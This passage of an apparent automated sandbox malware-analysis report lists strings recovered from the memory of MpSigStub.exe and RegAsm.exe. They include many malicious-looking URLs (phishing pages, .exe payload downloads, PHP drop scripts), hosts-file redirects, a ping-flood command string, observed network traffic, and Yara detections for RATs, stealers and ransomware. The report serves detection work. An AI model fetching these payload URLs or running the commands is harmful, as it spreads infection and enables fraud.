        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.slgroupsrl.com/vendo
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: https://www.spectrumhosting.co.za/hello-3.wav
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://www.sugarsync.com/pf
        Source: MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmpString found in binary or memory: https://www.teamviewer.com
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://www.tecel.cl/.well-known/frank/next.php
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://www.tecel.cl/content/ak/next.php
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: https://www.thegoodplan.ovh/promo.php
        Source: RegAsm.exe, 00000008.00000002.21904007601.000000001E471000.00000004.00000001.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: https://www.threadpaints.com/js/status.js
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: https://www.torproject.org/download/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: https://www.tsuburaya-prod.co.jp/wp-content/plugins/wp-ogp/sa.exe
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: https://www.ultimateislandguide.com//cache/.p/next.php
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: https://www.upload.ee/
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://www.upload.ee/download/
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://www.vacsax.co.uk/wp-admin/mile/graceserver.php
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: https://www.vespang.cf/ideshow/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://www.vespang.cf/ideshow/post.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://www.yaplakal.com/go/?https://yothuful-lichretman-bboae1.netlify.app#juangondo
        Source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmpString found in binary or memory: https://www2.bancobrasil.com.br/
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://xf.zp-inwsice.online/?e=claire
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpString found in binary or memory: https://xmrig.com/docs/algorithms
        Source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmpString found in binary or memory: https://xmrig.com/wizard
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://xw.kh-imoice.online/?e=info
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpString found in binary or memory: https://y/ews/Exchange.asmx
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: https://yerl.org/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: https://ygmservices.com/
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://yoga.webnatico.com/wp-admin/maint/msci.exe
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://youc1000.com/f.html#/ywxsaxnvbi5ly2tszxlay3nnas5jb20=
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://zangomart.com/soft/order/information/adobe2/index.htm
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://zerofatality.net/wp-includes/js/reportdhlnew.php
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://zerofatality.net/wp-includes/js/reportpdfnew.php
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://zerofatality.org/wp-admin/js/widgets/reportdhlnew.php
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: https://zk.fx-invoice.online/?e=info
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://zxc.amiralrouter.online/testxxxx.exe
        Source: unknownDNS traffic detected: queries for: drive.google.com
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49794
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
        Source: unknownNetwork traffic detected: HTTP traffic on port 49794 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
        Source: RegAsm.exe, 00000008.00000002.21904829624.000000001E502000.00000004.00000001.sdmpString found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: www.yahoo.com/www.google.com/] equals www.yahoo.com (Yahoo)
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: "http://www.youtube.com/watch?v=nqpod5at30g" equals www.youtube.com (Youtube)
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: "https://www.facebook.com/login.php] equals www.facebook.com (Facebook)
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: .src='http://www.facebook.com/plugins/like.php?href='+encodeuricomponent( equals www.facebook.com (Facebook)
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: 4src='http://www.facebook.com/plugins/like.php?href equals www.facebook.com (Facebook)
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: 4src='http://www.facebook.com/widgets/like.php?href equals www.facebook.com (Facebook)
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: 67.213.219.238www.youtube.com67.213.219.238ph.yahoo.com/?p=us127.0.0.1http://www.search.ask.com equals www.yahoo.com (Yahoo)
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: 67.213.219.238www.youtube.com67.213.219.238ph.yahoo.com/?p=us127.0.0.1http://www.search.ask.com equals www.youtube.com (Youtube)
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: :127.0.0.1 www.login.yahoo.com equals www.yahoo.com (Yahoo)
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: <127.0.0.1 www.search.yahoo.com equals www.yahoo.com (Yahoo)
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: @FB_www.facebook.com/modz.ryan_ProtectedBy_RyanBorland_0x equals www.facebook.com (Facebook)
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: @FB_www.facebook.com/modz.ryan_ProtectedBy_RyanBorland_0xx equals www.facebook.com (Facebook)
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: G"http://www.youtube.com/watch?v=nqpod5at30g" equals www.youtube.com (Youtube)
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpString found in binary or memory: Hping -t -w 1 -l 65500 www.yahoo.com equals www.yahoo.com (Yahoo)
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: YouTube http://www.youtube.com/ equals www.youtube.com (Youtube)
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: a67.213.219.238www.youtube.com67.213.219.238ph.yahoo.com/?p=us127.0.0.1http://www.search.ask.com equals www.yahoo.com (Yahoo)
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: a67.213.219.238www.youtube.com67.213.219.238ph.yahoo.com/?p=us127.0.0.1http://www.search.ask.com equals www.youtube.com (Youtube)
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: dc:\arquivos de programas\internet explorer\iexplore.exe http://www.youtube.com/watch?v=Vjp7vgj119s equals www.youtube.com (Youtube)
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.baidu.com/s?wd=http://www.google.cn/search?hl=zh-CN&q=http://search.cn.yahoo.com/search?p=http://www.sogou.com/web?sogouhome=&shuru=shou&query=http://so.163.com/search.php?q= equals www.yahoo.com (Yahoo)
        Source: MpSigStub.exe, 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmpString found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://www.rambler.ru/srch?set= equals www.rambler.ru (Rambler)
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://www.yahoo.com equals www.yahoo.com (Yahoo)
        Source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmpString found in binary or memory: http://www.youtube.com/watch?v= equals www.youtube.com (Youtube)
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: https://www.facebook.com/login.php equals www.facebook.com (Facebook)
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: src='http://www.facebook.com/plugins/like.php?href equals www.facebook.com (Facebook)
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: src='http://www.facebook.com/widgets/like.php?href equals www.facebook.com (Facebook)
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: www.hotmail.com equals www.hotmail.com (Hotmail)
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: www.yahoo.com/ equals www.yahoo.com (Yahoo)
        Source: global trafficHTTP traffic detected: GET /uc?export=download&id=1hKAWruhccvaKl722JOqs1briWjn1s8ks HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
        Source: global trafficHTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/g7dge6jvaanlcs7829hvlmboru4ioabe/1634024250000/16524389560697724177/*/1hKAWruhccvaKl722JOqs1briWjn1s8ks?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-28-docs.googleusercontent.comConnection: Keep-Alive
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownHTTPS traffic detected: 172.217.168.46:443 -> 192.168.11.20:49793 version: TLS 1.2
        Source: unknownHTTPS traffic detected: 142.250.186.33:443 -> 192.168.11.20:49794 version: TLS 1.2

        Key, Mouse, Clipboard, Microphone and Screen Capturing:

        barindex
        Yara detected LimeRATShow sources
        Source: Yara matchFile source: 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected LaZagne password dumperShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Linux EvilGnome RC5 keyShow sources
        Source: Yara matchFile source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected VBKeyloggerGenericShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmpBinary or memory string: DirectDrawCreateEx
        Source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmpBinary or memory string: GetRawInputData
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR

        E-Banking Fraud:

        barindex
        Yara detected PredatorShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected RevengeRATShow sources
        Source: Yara matchFile source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected PonyShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected NjratShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected AveMaria stealerShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR

        Spam, unwanted Advertisements and Ransom Demands:

        barindex
        Yara detected BlackMoon RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Ragnarok ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Globeimposter RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Avaddon RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected BLACKMatter RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected JigsawShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected AESCRYPT RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Rapid ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected RansomwareGenericShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Ouroboros ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Fiesta RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Lolkek RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Chaos RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected TeslaCrypt RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Mock RansomwareShow sources
        Source: Yara matchFile source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Conti ransomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b59d455.123.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b59e859.148.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b59d455.107.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b59fe5d.109.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b59d455.149.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b59e859.122.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b59fe5d.121.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b59e859.108.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b59fe5d.150.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18330301023.0000015B1B598000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18316997643.0000015B1B598000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18338385554.0000015B1B3CA000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected NoCry RansomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c00879a.77.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected ByteLocker RansomwareShow sources
        Source: Yara matchFile source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected RegretLocker RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Crypt ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Clop RansomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b013bb2.54.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected LockBit ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected LOCKFILE ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Cerber ransomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c00879a.77.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Rhino ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Niros RansomwareShow sources
        Source: Yara matchFile source: 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Buran RansomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected VHD ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Netwalker ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Jcrypt RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Delta RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected LazParking RansomwareShow sources
        Source: Yara matchFile source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected GlobeLocker RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Zeppelin RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Apis RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Wannacry ransomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
